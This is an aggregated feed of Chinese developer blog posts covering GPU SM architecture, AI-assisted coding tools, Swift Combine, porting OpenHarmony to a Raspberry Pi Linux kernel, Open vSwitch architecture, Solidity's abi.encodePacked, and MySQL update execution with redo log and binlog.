从上图中可以看出 GPU 主要由许多的 SM 组成,SM 全称为Streaming Multiprocessor流式多处理器,是NVIDIA GPU架构中的重要组成部分,也是 GPU 的基本计算单元。每个 SM 由多个 CUDA 核心、纹理单元、Tensor Core、流控制器和存储器等辅助单元组成,可以同时执行多个计算任务,并具有高度的灵活性和性能。

 参考 

(1)codingstuff.substack.com/p/if-gpus-a…

by 周末程序猿 at January 19, 2025 11:54 AM

juejin career

程序员和非程序员都该学的 AI 自编程入门指南 | 2025 年第 3 周草梅周报

本文在 草梅友仁的博客 发布和更新,并在多个平台同步发布。如有更新,以博客上的版本为准。您也可以通过文末的 原文链接 查看最新版本。

前言

欢迎来到草梅周报!这是一个由草梅友仁基于 AI 整理的周报,旨在为您提供最新的博客更新、GitHub 动态、个人动态和其他周刊文章推荐等内容。


本周开始将对草梅周报的标题进行调整,从原先《2025 年第 Y 周草梅周报:XXX》的格式调整为《XXX | 2025 年第 Y 周草梅周报》。

这么做的主要原因是将核心内容前置,以便在标题未展示完全的情况下就向读者传递核心信息。

之后也会观察下数据,以验证这个改动是否真的有效。

优秀书籍推荐

image-20250119184706167

本周要向各位读者推荐的是《方糖 AI 自编程入门》

本书的作者 Easy 同时也是《一人企业方法论》《精益副业:程序员如何优雅地做副业》等书的作者,还是 Server 酱 的开发者。

我推荐所有程序员读者,以及非程序员读者,都去阅读下《方糖 AI 自编程入门》,对于学习如何使用 AI 来编程有很大帮助。

在现阶段,掌握使用 AI 的方法论和找到更优秀的 AI 模型是同等甚至更重要的事情。

因为等待 AI 模型进步是不可控的,但学习 AI 自编程方法论是可控的,即便未来出现了更优秀的 AI 模型,只要把工具链上的 AI 模型替换一下就好了,整个工作流程是不需要改的。

当然,可能有读者朋友会疑惑。

程序员学习 AI 编程是理所当然、大势所趋,但为什么非程序员读者也要学习 AI 编程?

如果说 AI 对普通程序员的提升是从 60 分到 90 分的话,那 AI 对非程序员的普通人,提升就是 0 到 60 分。

对程序员而言,AI 编程实际上并未达成质变,只达成了量变;而对于普通人,是从 0 到 1 的提升,是质变。

因此我还可以提出一个比 Easy 老师更激进的观点:学会用 AI 编程,是学会用 AI 做其他事情的基础

学会了 AI 编程,可以将自身的业务通过编程的方式自动化,从而极大的提高生产力。

因此,建议广大读者朋友,只要有能力,就去学一点 AI。

开源项目推荐

上文提到了 AI 自编程,那么该如何实现 AI 自编程呢?

Easy 老师的推荐是使用 Cursor 作为编辑器,结合 Claude 3.5 模型使用。

但是,Cursor 的免费版功能有限,核心功能还是需要购买 20 美元 1 月的 Pro 版本,受限于囊中羞涩或者是支付渠道不畅通,有些人可能不太愿意使用 Cursor。

image-20241215182910737

不过,正如我之前博客说过的,「AI 代码编辑器中最核心的是 AI 大模型,而这个功能本身并不是由代码编辑器提供的」,所以,只要编辑器能接入 Claude 3.5 模型,就可以达到类似 Cursor 的效果。

所以,接下来要给大家推荐的就是 Cline

Cline 是一个集成在 IDE 中的自主编码代理,能够在您的许可下创建/编辑文件、执行命令、使用浏览器等,并支持多种 API 和模型,旨在提高软件开发效率。

image-20250119191454853

特点在于可以自定义 AI 模型,支持 Claude 3.5、GPT 4o、DeepSeek-Chat 等 AI 模型。

除此之外,还支持执行命令,如果报错还会自动 debug;当然,自动创建和编辑文件也是支持的,还提供了类似 Git 的 diff 视图,可以让你更加清楚 AI 进行了哪些改动。

此外,甚至还支持使用浏览器,从而实现交互化调试、端对端测试。

因此,一个 Cursor 的丐版平替方案就是使用 Cline + DeepSeek 来实现廉价 AI 编程。

虽然 DeepSeek 在 2025-02-08 之后就会涨价了,参考 模型 & 价格了,但涨价之后也还是很有性价比。

更多有关 AI 模型价格的问题可参考 tokencost

虽然受限于 DeepSeek 模型的功能限制,在图片识别和调用浏览器上功能缺失,但依旧可以实现 AI 编程。

实际上,现阶段,只要根据 AI自编程方法论 来,不管使用什么 AI 模型,都能实现大差不差的效果。

又因为,在 AI 编辑器中,决定 AI 编程能力的主要是 AI 模型,所以如果真的想要达到 Cursor 的效果,在 Cline 中将模型替换成 Claude 3.5 就可以了。

Claude 3.5 的价格 并不便宜,但胜在按量付费,小规模体验的时候可以尝试下,如果用量真的大,再去开一个 Cursor Pro 也不迟。

image-20250119190037871

最新 GitHub 仓库

  • hexo-custom-rss - 2025-01-13 19:25:49 通过 tag、category 过滤生成的 rss,可自定义路径。Filter the generated RSS through tags and categories, and customize the path

最新 GitHub 加星仓库

  • CaoMeiYouRen starred web-ui - 2025-01-18 23:53:36 在浏览器中运行 AI 代理。 主要编程语言:Python 星标数:3066
  • CaoMeiYouRen starred ai-self-coding-book - 2025-01-16 14:25:48 《方糖 AI 自编程入门》介绍了如何利用自然语言和人工智能技术来编写复杂的商业应用程序。该书的主要编程语言未明确提及,但在 GitHub 上获得了 90 个星标(Stargazers),表明其受到了一定的关注和认可。
  • CaoMeiYouRen starred Aria2-Pro-Docker - 2025-01-13 23:23:46 Aria2 Pro 是一个优化的 Aria2 Docker 容器镜像,旨在提供更好的使用体验。该项目的主要编程语言是 Dockerfile,并且在 GitHub 上获得了 3371 个星标,显示出其受欢迎程度和社区认可。
  • CaoMeiYouRen starred hexo-feed - 2025-01-13 17:10:59 这是一个为 Hexo 静态网站生成器设计的 RSS、Atom 和 JSON Feed 生成器。该项目的主要编程语言是 JavaScript,目前在 GitHub 上获得了 16 个星标。
  • CaoMeiYouRen starred hexo-tag-bilibili-card - 2025-01-13 16:15:56 这是一个用于 Hexo 博客平台的插件,主要功能是在文章中插入哔哩哔哩(Bilibili)视频卡片。该插件的样式模仿并借鉴了哔哩哔哩的官方设计,使得嵌入的视频卡片在博客中显示时具有与哔哩哔哩网站相似的外观和感觉。插件使用 JavaScript 编写,目前在 GitHub 上获得了 4 个星标(Stargazers)。

其他博客或周刊推荐

阮一峰的网络日志

阿猫的博客

潮流周刊

二丫讲梵的学习周刊

总结

本周的更新和动态如上所示。感谢您的阅读! 您可以通过以下方式订阅草梅周报的更新:

往期回顾

本文作者:草梅友仁
本文地址:blog.cmyr.ltd/archives/20…
版权声明:本文采用 CC BY-NC-SA 4.0 协议 进行分发,转载请注明出处!

by 草梅友仁 at January 19, 2025 11:50 AM

juejin ios

Swift Combine与UIKit 交互(UIButton)

使用 Combine 优化引导页交互逻辑——详解实践与设计

在现代 iOS 开发中,响应式编程逐渐成为主流。Combine 提供了一套强大的工具,用于处理异步事件流,使代码更加简洁、优雅。本篇示例将围绕一个引导页项目,深入解析 Combine 的实际应用,包括其优势及实现细节。

项目概览

IMG_0153.PNG

引导页的核心需求:

  1. 显示一个水平分页的引导内容;
  2. 用户可通过按钮或手动滑动切换页面;
  3. 当用户切换至最后一页时,按钮提示文字从“继续”变为“开始”。

技术实现

  • UICollectionView 使用 UICollectionViewCompositionalLayout 创建水平分页布局。(setupView()bindView() 是写在基类里面的两个方法)

截屏2025-01-19 19.18.09.png 截屏2025-01-19 19.15.54.png 截屏2025-01-19 19.19.16.png

  • 引入 Combine 框架,实现按钮点击事件流的处理。
  • 利用 CombineCocoa 扩展简化 UI 控件的事件绑定。

核心功能实现与分析

1. 按钮点击事件的处理

在项目中,按钮点击事件的处理通过 Combine 实现。核心代码如下: 截屏2025-01-19 19.36.00.png 截屏2025-01-19 19.17.19.png

功能解析

  • tapPublisher 是 CombineCocoa 提供的扩展,用于监听按钮的点击事件。相比传统的 addTarget 或 IBAction,它更加简洁,并直接支持响应式流。

  • 通过 sink 订阅按钮点击事件,每次点击后执行以下逻辑:

    • 如果当前页索引 currentIndex 小于总页数,更新 UICollectionView 的可见区域,滚动至下一页。
    • 更新按钮的外观和文本,通过调用 updateNextButton() 反映当前状态。

优势

  • 使用 Combine 处理事件流,逻辑清晰,避免了复杂的状态管理。
  • 自动处理内存管理,通过 store(in:) 将订阅存储到 subscriptions 中,防止内存泄漏。

2. 分页滑动与按钮状态联动

在代码中,UIScrollView 的代理方法实现了页面滑动时的状态更新:

截屏2025-01-19 19.15.09.png

功能解析

  • 当用户开始滑动时,禁用按钮,避免页面未停稳时触发多余的点击操作。
  • 当用户停止滑动后,更新当前页索引 (currentIndex),并启用按钮。

虽然这里使用的是传统的代理方法,但通过与 Combine 的事件流结合,可以进一步优化,如用 PassthroughSubject 或 CurrentValueSubject 将滑动事件转为响应式流,与按钮的状态更新联动。

3. 响应式 UI 的简化绑定

Combine 和 CombineCocoa 提供了丰富的扩展,可以轻松实现控件的响应式绑定。同时,视图和状态的更新分离,通过调用独立的函数 updateNextButton(),实现按钮文本和外观的切换。

Combine 的优势

  1. 简洁性:Combine 将事件监听与处理逻辑直接关联,减少了传统方法中繁琐的回调设置。
  2. 可读性:事件流的处理逻辑集中,便于阅读和调试。
  3. 内存管理:通过 store(in:),订阅生命周期与控制器绑定,避免内存泄漏。
  4. 扩展性:可以轻松扩展为更加复杂的事件流处理,例如多个按钮或滑动手势的组合逻辑。

by noneol at January 19, 2025 11:48 AM

juejin backend

OpenHarmony(鸿蒙南向开发)——标准系统移植指南(二)Linux内核

移植概述

本文面向希望将OpenHarmony移植到三方芯片平台硬件的开发者,介绍一种借助三方芯片平台自带Linux内核的现有能力,快速移植OpenHarmony到三方芯片平台的方法。

移植到三方芯片平台的整体思路

内核态层和用户态层

为了更好的解释整个内核移植,首先需要介绍一些概念:

我们可以把OpenHarmony简单的分为

OpenHarmony = OpenHarmony内核态层 + OpenHarmony用户态层

其中OpenHarmony内核层就是上图的紫色部分,可以看到,它主要由内核本身(如Linux Kernel,LiteOS),和一些运行在内核态的一些特性组成,比如HDF等。

而OpenHarmony用户态层,在上图,就是紫色之外的部分。可以看到,由下往上看,它主要由系统服务层,框架层,应用层组成。在这儿我们将这三层整体称为“OpenHarmony用户态层”。

为什么这么区分呢?因为我们这篇文章主要是要讨论如何快速的把OpenHarmony移植到三方芯片平台上。而OpenHarmony的用户态层,整体来说和三方芯片平台的耦合度不高,移植较为方便。而内核态层中的内核本身以及HDF驱动框架等,和三方芯片平台的耦合度较高,是移植的重难点。我们先做这个区分,就是为了先把聚光灯打到我们最需要关注的OpenHarmony内核态层上,开始分析和解题。另外说明,本文只包含Linux内核的快速移植,不包含LiteOS的移植。

获得内核态层的两种方法

为了表述方便,我们在下文部分地方用“OH”代替“OpenHarmony”。

将OH内核态层继续分解

OH内核态层 = OH Linux内核 + OH内核态特性(可选特性或者必选特性,如必选特性HDF,今后的可选特性HMDFS等)

而OH Linux内核 = 标准LTS Linux 内核 + 三方SoC芯片平台代码 + OH内核态基础代码(支撑OH用户态层运行的最基础代码)

因此OH内核态层 = 标准LTS Linux 内核 + 三方SoC芯片平台代码 + OH内核态基础代码 + OH内核态特性(如HDF)

而将前两项组合,标准LTS Linux 内核 + 三方SoC芯片平台代码,其实就是一个三方Linux内核的基础组成。从上面的推导可以看出,OpenHarmony 内核态层其实能够由两种方法得到:

方法一:OH 内核态层 = 三方Linux内核 + OH内核态基础代码 + OH内核态特性(如HDF,今后的HMDFS等)

也就是直接借助三方Linux内核,再加上基础OH内核态基础代码、以及HDF等OH内核态特性。

方法二:OH 内核态层 = OH Linux内核 + OH内核态特性(如HDF,今后的HMDFS等)

也就是直接采用OHLinux内核,然后再加入OH的其他内核态特性。

当前方法二中OHLinux内核支持的三方芯片平台还不够丰富。为了能够响应三方开发者快速移植OpenHarmony的要求,下文会着重介绍方法一,即借助三方已有的Linux内核,来快速移植OpenHarmony。

借助已有Linux内核来移植OpenHarmony的流程

整个移植流程可以分为三步:

  1. 准备整体构建环境,包括将三方芯片平台的现有内核代码拷贝到OpenHarmony的整体编译环境下。
  2. OpenHarmony内核态基础代码的移植。
  3. OpenHarmony内核态必选特性(如HDF等)的移植。

详细步骤在接下来的章节中介绍。

移植到三方芯片平台的步骤

下面以树莓派3b (BCM2837) 为例,演示将OpenHarmony移植到树莓派的过程。

准备整体构建环境

  1. 将三方内核纳入OpenHarmony编译环境。 完整编译过一遍标准Hi3516DV300的内核之后,clone树莓派内核源码并复制到manifest输出目录下:
    export PROJ_ROOT=[OpenHarmony manifest]
    git clone https://gitee.com/xfan1024/oh-rpi3b-kernel.git
    cp -r oh-rpi3b-kernel $PROJ_ROOT/out/KERNEL_OBJ/kernel/src_tmp/linux-rpi3b

2. 配置树莓派内核编译环境。

    # 进入树莓派kernel目录
    cd out/KERNEL_OBJ/kernel/src_tmp/linux-rpi3b

    # 配置编译环境,使用工程项目自带的clang
    export PATH=$PROJ_ROOT/prebuilts/clang/ohos/linux-x86_64/llvm/bin:$PROJ_ROOT/prebuilts/gcc/linux-x86/arm/gcc-linaro-7.5.0-arm-linux-gnueabi/bin/:$PATH
    export MAKE_OPTIONS="ARCH=arm CROSS_COMPILE=arm-linux-gnueabi- CC=clang HOSTCC=clang"
    export PRODUCT_PATH=vendor/hisilicon/hispark_taurus_linux

3. 注释掉clang不识别的flag。 PROJ_ROOT/out/KERNEL_OBJ/kernel/src_tmp/linux-rpi3b/arch/arm/Makefile注释掉以下这一行:

    KBUILD_CFLAGS  +=-fno-omit-frame-pointer -mapcs -mno-sched-prolog

移植内核态基础代码

目前OpenHarmony内核态的基础代码,主要是日志服务相关。轻量化内核日志服务代码包含:

drivers/staging/hilog
drivers/staging/hievent

将以上代码,从OpenHarmony内核代码目录kernel/linux/linux-4.19/drivers/staging中,拷贝到out/KERNEL_OBJ/kernel/src_tmp/linux-rpi3b/drivers/staging下。

在三方内核的drivers/staging/Kconfig文件内增加如下代码:

source "drivers/staging/hilog/Kconfig"
source "drivers/staging/hievent/Kconfig"

在三方内核的drivers/staging/Makefile文件内增加如下代码:

obj-$(CONFIG_HILOG)             += hilog/
obj-$(CONFIG_HIEVENT)           += hievent/

在内核config项中打开对应的CONFIG控制宏:CONFIG_HILOG和CONFIG_HIEVENT。

具体日志使用说明请参见:Hilog_lite组件介绍。

移植内核态必选特性HDF

  1. 打HDF补丁。 在Linux内核打HDF补丁时,执行补丁shell脚本合入HDF补丁。
    1. 配置HDF补丁脚本的四个变量参数。
    2. 获取patch_hdf.sh脚本。
    3. 执行patch_hdf.sh脚本依次传入四个变量参数。

patch_hdf.sh脚本四个参数含义为:第一个入参为工程根目录路径,第二入参为内核目录路径,第三个入参为内核版本路径,第四个参数是当前设备名。

    ./patch_hdf.sh [工程根目录路径] [内核目录路径] [内核补丁路径] [设备名]

以树莓派3b为示例介绍:

    # 进入树莓派kernel目录
    PROJ_ROOT/drivers/hdf_core/adapter/khdf/linux/patch_hdf.sh \
    PROJ_ROOT  # 指定工程根目录路径 \
    PROJ_ROOT/out/KERNEL_OBJ/kernel/src_tmp/linux-rpi3b  # 打补丁的内核目录路径 \
    PROJ_ROOT/kernel/linux/patches/linux-4.19 # 内核补丁路径.\
    hi3516dv300 # 设备名.

2. 配置config。 提供HDF基本配置,如果需要其他功能,通过menuconfig打开对应驱动开关即可。

HDF补丁执行成功后,默认HDF开关是关闭的,打开HDF基本配置选项如下:

    CONFIG_DRIVERS_HDF=y
    CONFIG_HDF_SUPPORT_LEVEL=2
    CONFIG_DRIVERS_HDF_PLATFORM=y
    CONFIG_DRIVERS_HDF_PLATFORM_MIPI_DSI=y
    CONFIG_DRIVERS_HDF_PLATFORM_GPIO=y
    CONFIG_DRIVERS_HDF_PLATFORM_I2C=y
    CONFIG_DRIVERS_HDF_PLATFORM_UART=y
    CONFIG_DRIVERS_HDF_TEST=y

或者通过menuconfig界面打开HDF相关配置,命令如下:

    # 生成 .config 配置文件
    make ${MAKE_OPTIONS} rpi3b_oh_defconfig

    # 更改HDF内核配置
    make ${MAKE_OPTIONS} menuconfig
    # [*] Device Drivers
    # [*]   HDF driver framework support --->

配置如下(在Device Drivers -> HDF driver framework support 目录下):

编译Image

# 执行编译命令
make ${MAKE_OPTIONS} -j33 zImage

编译和运行HDF测试用例(可选)

简介

HDF(Hardware Driver Foundation)自测试用例,用于测试HDF框架和外设的基本功能,本文主要介绍HDF内核态用例测试方法。

预置条件

测试前需要在menuconfig里检查HDF测试开关CONFIG_DRIVERS_HDF_TEST=y,代码全量编译通过。

用例编译和测试方法

通过 hdc_std工具 把用例执行文件推送到设备中,然后执行用例即可,操作步骤如下:

  1. 编译hdf测试用例。
  2. 用hdc_std工具推送测试文件到设备中。
  3. 进入设备data/test目录,执行测试文件即可。

用例编译和测试详细步骤如下:

  1. 编译hdf测试用例。 编译hdf测试用例命令和文件路径如下:
    ./build.sh --product-name hispark_taurus_standard --build-target hdf_test

等待编译完成。

  1. 将测试文件移动到目标移植设备上(以树莓派为例)。

方法一:使用 hdc_std工具。

  1. 先在树莓派里新建data/test目录。
        mkdir -p data/test

2. 推送依赖库和测试用例到树莓派。

        hdc file send XXX\out\{device_name}\hdf\hdf\libhdf_test_common.z.so  /system/lib
        hdc file send XXX\out\{device_name}\tests\unittest\hdf\config\hdf_adapter_uhdf_test_config  /data/test
        hdc file send XXX\out\{device_name}\tests\unittest\hdf\devmgr\DevMgrTest  /data/test
        hdc file send XXX\out\{device_name}\tests\unittest\hdf\osal\OsalTest  /data/test
        hdc file send XXX\out\{device_name}\tests\unittest\hdf\sbuf\SbufTest  /data/test

DD一下:欢迎大家关注公众号<程序猿百晓生>,可以了解到以下内容:

1.OpenHarmony开发基础
2.OpenHarmony北向开发环境搭建
3.鸿蒙南向开发环境的搭建
4.鸿蒙生态应用开发白皮书V2.0 & V3.0
5.鸿蒙开发面试真题(含参考答案) 
6.TypeScript入门学习手册
7.OpenHarmony 经典面试题(含参考答案)
8.OpenHarmony设备开发入门【最新版】
9.沉浸式剖析OpenHarmony源代码
10.系统定制指南
11.【OpenHarmony】Uboot 驱动加载流程
12.OpenHarmony构建系统--GN与子系统、部件、模块详解
13.ohos开机init启动流程
14.鸿蒙版性能优化指南
.......

方法二:移动到储存卡内,启动树莓派之后装载。

  1. 拔掉树莓派连接电脑的串口、USB线,然后拔下数据卡。
  2. 将数据卡插入到电脑的读取口,将编译好的zImage和测试文件夹test/下载到电脑,然后移动到数据卡的根目录下。zImage文件会被替换,请提前做好备份。
  3. 最后将数据卡插回树莓派。
        # 让树莓派文件系统读取储存卡根目录
        mount -t vfat /dev/block/mmcblk0p1 /boot
        cd /boot/[测试文件目录]
        # 允许修改系统文件
        mount -o remount,rw /
        # 安装测试用库
        mv libhdf_test_common.z.so /system/lib
        mkdir /data/test
        mv * /data/test

3. 执行测试

1.  进入目录执行测试文件目录data/test。
        cd /data/test

2. 修改文件执行权限。

        chmod 777 hdf_adapter_uhdf_test_config DevMgrTest OsalTest SbufTest

3. 开始测试。

        ./hdf_adapter_uhdf_test_config
        ./DevMgrTest
        ./OsalTest
        ./SbufTest

4. 如果所有测试文件输出均显示 PASSED,那么HDF功能即安装成功。 示例:DevMgrTest用例成功结果显示:

       ./DevMgrTest
       Running main() from gmock_main.cc
       [==========] Running 1 test from 1 test case.
       [----------] Global test environment set-up.
       [----------] 1 test from DevMgrTest
       [ RUN      ] DevMgrTest.DriverLoaderTest_001
       [       OK ] DevMgrTest.DriverLoaderTest_001 (0 ms)
       [----------] 1 test from DevMgrTest (0 ms total)
       [----------] Global test environment tear-down
       Gtest xml output finished
       [==========] 1 test from 1 test case ran. (0 ms total)
       [  PASSED  ] 1 test.

by 塞尔维亚大汉 at January 19, 2025 11:27 AM

ovs 关键术语和架构

由于历史原因,在OvS源代码目录树的不同区域,不同的单词用于本质上相同的概念。以下是一个一致性,按源树的覆盖区域范围进行索引:

image.png

架构

image.png

  • ovs-vswitchd: ovs 用户态程序,代码在 vswitchd/, 它通过 IPC 通道从 ovsdb 服务器程序读取所需的 ovs 配置,并将此配置传递给 “ofproto” 库。它还将特定的状态和统计信息从 ofproto 传递回数据库。
  • ofproto: ovs 库,在 ofproto/ 目录下,基于此才能实现 openflow 交换机。它通过网络与 OpenFlow 控制器对话,也能通过 “ofproto provider” 和其他交换机硬件或软件沟通
  • netdev: ovs 库,在 lib/netdev.c 目录下,它抽象化了与网络设备的交互, 比如,以太网接口。netdev库是“netdev provider”代码上的一个薄层.

其他组件在一个端口期间可能需要注意。您几乎肯定必须实现一个“netdev provider”。根据您正在做的端口类型和所需的性能,您可能还必须实现一个“ofproto provider”或一个称为 “dpif” 提供程序的更低级别的组件。

什么是 datapath (就是一个简单的流表)

image.png

dpif 在 ovs 架构中的应用

image.png

image.png

by bobz965 at January 19, 2025 11:10 AM

Solidity 中的 abi.encodePacked:详解与示例

基本概念

在 Solidity 中,abi.encodePacked 是一个非常重要的低级编码函数,用于将多个参数紧密打包成一个字节数组。与 abi.encode 不同,abi.encodePacked 不会添加额外的填充字节,因此生成的字节数组更加紧凑。本文将详细介绍 abi.encodePacked 的用法、适用场景以及注意事项,并通过详细的示例代码帮助您更好地理解其使用。


1. abi.encodePacked 的作用

abi.encodePacked 是 Solidity 提供的一个编码函数,用于将多个参数紧密打包成一个字节数组(bytes)。它的特点是:

  • 紧密打包:不会像 abi.encode 那样添加填充字节(padding),因此生成的字节数组更加紧凑。
  • 支持多种数据类型:可以编码 uintaddressstringbytes 等多种数据类型。
  • 常用于哈希计算:由于其紧凑性,abi.encodePacked 常用于生成数据的哈希值(如 keccak256)。

2. abi.encodePacked 的语法

bytes memory packedData = abi.encodePacked(arg1, arg2, ...);
  • arg1, arg2, ...:需要编码的参数,可以是任意数量和类型。
  • 返回值:一个紧密打包的字节数组(bytes)。

3. abi.encodePackedabi.encode 的区别

特性abi.encodePackedabi.encode
填充字节无填充,紧密打包添加填充字节以对齐数据
适用场景哈希计算、节省存储空间ABI 编码、函数调用参数传递
数据长度更短更长
安全性需注意数据碰撞风险更安全,适合通用场景

4. 使用 abi.encodePacked 的注意事项

  1. 数据碰撞风险
    由于 abi.encodePacked 不会添加分隔符或填充字节,可能会导致不同参数组合编码后结果相同。例如:

    abi.encodePacked("abc", "def") == abi.encodePacked("ab", "cdef")
    

    这种情况在哈希计算时可能导致哈希冲突,因此需要谨慎使用。

  2. 不适用于函数调用
    abi.encodePacked 生成的字节数组不符合 ABI 编码规范,因此不能直接用于函数调用参数的编码。

  3. 节省 Gas
    由于生成的字节数组更紧凑,abi.encodePacked 在存储和计算哈希时可以节省 Gas。


5. 示例代码

以下是一些使用 abi.encodePacked 的示例,帮助您更好地理解其用法。

示例 1:基本用法

pragma solidity ^0.8.0;

contract EncodePackedExample {
    function encodeData(uint256 a, address b, string memory c) public pure returns (bytes memory) {
        return abi.encodePacked(a, b, c);
    }
}
  • 输入:a = 123, b = 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4, c = "Hello"
  • 输出:一个紧密打包的字节数组。

示例 2:哈希计算

abi.encodePacked 常用于生成数据的哈希值。例如,计算两个字符串的哈希:

pragma solidity ^0.8.0;

contract HashExample {
    function hashStrings(string memory str1, string memory str2) public pure returns (bytes32) {
        return keccak256(abi.encodePacked(str1, str2));
    }
}
  • 输入:str1 = "Hello", str2 = "World"
  • 输出:keccak256 哈希值。

示例 3:防止数据碰撞

为了避免数据碰撞,可以在编码时添加分隔符:

pragma solidity ^0.8.0;

contract SafeHashExample {
    function safeHash(string memory str1, string memory str2) public pure returns (bytes32) {
        return keccak256(abi.encodePacked(str1, "|", str2));
    }
}
  • 输入:str1 = "abc", str2 = "def"
  • 输出:keccak256("abc|def"),避免了与 "ab|cdef" 的冲突。

示例 4:编码动态类型

abi.encodePacked 支持动态类型(如 stringbytes):

pragma solidity ^0.8.0;

contract DynamicTypeExample {
    function encodeDynamicData(string memory str, bytes memory data) public pure returns (bytes memory) {
        return abi.encodePacked(str, data);
    }
}
  • 输入:str = "Solidity", data = hex"1234"
  • 输出:紧密打包的字节数组。

示例 5:与 abi.encode 的对比

以下代码展示了 abi.encodePackedabi.encode 的区别:

pragma solidity ^0.8.0;

contract CompareExample {
    function encodePacked(uint256 a, uint256 b) public pure returns (bytes memory) {
        return abi.encodePacked(a, b);
    }

    function encode(uint256 a, uint256 b) public pure returns (bytes memory) {
        return abi.encode(a, b);
    }
}
  • 输入:a = 1, b = 2
  • encodePacked 输出:0x00000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000002
  • encode 输出:0x00000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000002
    (注意:abi.encode 会添加填充字节,但在此例中由于 uint256 已经是 32 字节,因此结果与 encodePacked 相同。)

6. 总结

  • abi.encodePacked 是一个紧密打包的编码函数,适用于哈希计算和节省存储空间的场景。
  • abi.encode 相比,abi.encodePacked 生成的字节数组更紧凑,但需要注意数据碰撞风险。
  • 在实际开发中,abi.encodePacked 常用于生成哈希值(如 keccak256),但在需要 ABI 编码规范时(如函数调用),应使用 abi.encode

by 我是区块链小学生 at January 19, 2025 10:29 AM

juejin career

【MySQL】简单解析一条SQL更新语句的执行过程

1. 更新语句执行流程概述

image.png

在 MySQL 中,一条更新语句(如 update T set c=c+1 where ID=2)的执行涉及多个关键步骤,与查询语句类似,会经过连接器、分析器、优化器、执行器等 Server 层模块,最终到达存储引擎(如 InnoDB),且在执行过程中与 redo log 和 binlog 这两个重要日志模块紧密相关。

2. 各组件在更新语句执行中的作用

2.1. 连接器

连接器负责管理数据库连接与用户权限验证。在执行更新语句前,客户端需先连接数据库,此过程由连接器完成。

并且,一旦表有更新操作,连接器会清空该表相关的查询缓存,这也是不建议使用查询缓存的原因之一,因为缓存频繁失效会降低性能。

比如,在一个电商系统中,当频繁更新商品库存信息时,如果使用查询缓存,每次更新都会导致与商品表相关的缓存被清空,后续相同的查询就无法利用缓存,增加了数据库的查询压力。

2.2. 分析器

对 SQL 语句进行词法和语法解析,识别出这是一条更新语句,为后续的执行流程奠定基础。

若语句存在词法或语法错误,分析器会报错并终止执行。例如,若写成 update T set c+1 where ID=2(少了 c 的赋值部分),分析器会检测到语法错误并提示用户修改。

2.3. 优化器

决定执行更新操作所使用的索引,其目标是选择最优的执行计划,以提高更新操作的效率。

例如,在有主键 ID 的表 T 中更新数据时,优化器会判断使用 ID 索引来定位要更新的行。

就像在一个拥有大量用户数据的表中,如果要更新特定用户的信息,优化器会根据索引情况快速定位到该用户所在的数据页,减少数据查找的时间。

2.4. 执行器

具体执行更新操作。

首先,它会根据优化器的决策,通过引擎接口查找 ID = 2 的行。若该行所在的数据页已在内存中,则直接获取;否则,需从磁盘读入内存。

接着,执行器将获取到的行数据中 c 值加 1,并调用引擎接口写入新数据。

之后,执行器会生成该操作的 binlog,并写入磁盘,最后调用引擎的提交事务接口完成更新操作。

3. redo log 详解

3.1. 引入原因

我们用一个故事来解释一下这个问题。

在古代,酒馆掌柜一般会有一个粉板,专门用来记录客人的赊账记录。如果赊账的⼈不多,那么他可以把顾客名和账⽬写在板上。但如果赊账的⼈多了,粉板总会有记不下的时候,这个时候掌柜⼀定还有⼀个专⻔记录赊账的账本。

如果有⼈要赊账或者还账的话,掌柜⼀般有两种做法:⼀种做法是直接把账本翻出来,把这次赊的账加上去或者扣除掉;另⼀种做法是先在粉板上记下这次的账,等打烊以后再把账本翻出来核算。

在⽣意红⽕柜台很忙时,掌柜⼀定会选择后者,因为前者操作实在是太麻烦了。⾸先,你得找到这个⼈的赊账总额那条记录。你想想,密密麻麻⼏⼗⻚,掌柜要找到那个名字,可能还得带上⽼花镜慢慢找,找到之后再拿出算盘计算,最后再将结果写回到账本上。

这整个过程想想都麻烦。相⽐之下,还是先在粉板上记⼀下⽅便。你想想,如果掌柜没有粉板的帮助,每次记账都得翻账本,效率是不是低得让⼈难以忍受?

在 MySQL ⾥也有这个问题,如果每⼀次的更新操作都需要写进磁盘,然后磁盘也要找到对应的那条记录,然后再更新,整个过程 IO 成本、查找成本都很⾼。为了解决这个问题,MySQL 的设计者就⽤了类似酒馆掌柜粉板的思路来提升更新效率。这个就是 MySQL ⾥经常说到的 WAL 技术。

3.2. WAL 技术说明

WAL 的全称是 Write-Ahead Logging,它的关键点就是先写⽇志,再写磁盘。

当有⼀条记录需要更新的时候,InnoDB 引擎就会先把记录写到 redo log ⾥⾯,并更新内存,这个时候更新就算完成了。

InnoDB 引擎会在适当的时候,将这个操作记录更新到磁盘⾥⾯,⽽这个更新往往是在系统⽐较空闲的时候做。

比如在一个高并发的在线交易系统中,大量的订单数据更新操作如果都直接写磁盘,会严重影响系统性能。采用 WAL 机制后,先将更新记录到 redo log,能快速响应交易请求,提升系统的吞吐量和响应速度。

3.3. redo log 结构与循环写机制

image.png

redo log 是固定大小的,可配置为一组多个文件(如 4 个文件,每个文件 1GB,共 4GB),采用循环写的方式。

有两个关键指针,write pos 表示当前记录的位置,一边写一边后移,写到末尾则回到开头循环;checkpoint 是当前要擦除的位置,也是循环推移的。

write poscheckpoint 之间的空间用于记录新操作,当 write pos 追上 checkpoint 时,表示 redo log 已满,此时需先擦掉部分记录,推进 checkpoint 后才能继续执行新的更新操作。

假设一个数据库系统的 redo log 配置为上述大小,在业务高峰期,大量的更新操作可能会使 write pos 快速接近 checkpoint。当两者接近时,系统会暂停新的更新,先将部分记录从 redo log 同步到磁盘,移动 checkpoint,为新的更新操作腾出空间,确保系统的持续运行。

3.4. crash-safe 能力

redo log 保证了即使数据库发生异常重启,之前提交的记录也不会丢失,此能力称为 crash-safe。

因为只要记录在 redo log 或已同步到磁盘中,系统就能在重启后恢复数据,如同酒店掌柜即使停业几天,仍可通过账本和粉板上的数据明确赊账账目。

例如,在一次数据库服务器突然断电的情况下,重启后系统可以根据 redo log 中的记录恢复到断电前的状态,保证数据的完整性和一致性。

4. binlog 详解

4.1. 与 redo log 的区别

4.1.1. 所属层次与引擎通用性

redo log 是 InnoDB 引擎特有的日志,而 binlog 是 MySQL 的 Server 层实现的,所有引擎都可使用。

由于 MySQL 历史发展过程中,早期自带的 MyISAM 引擎没有 crash-safe 能力,binlog 仅用于归档。

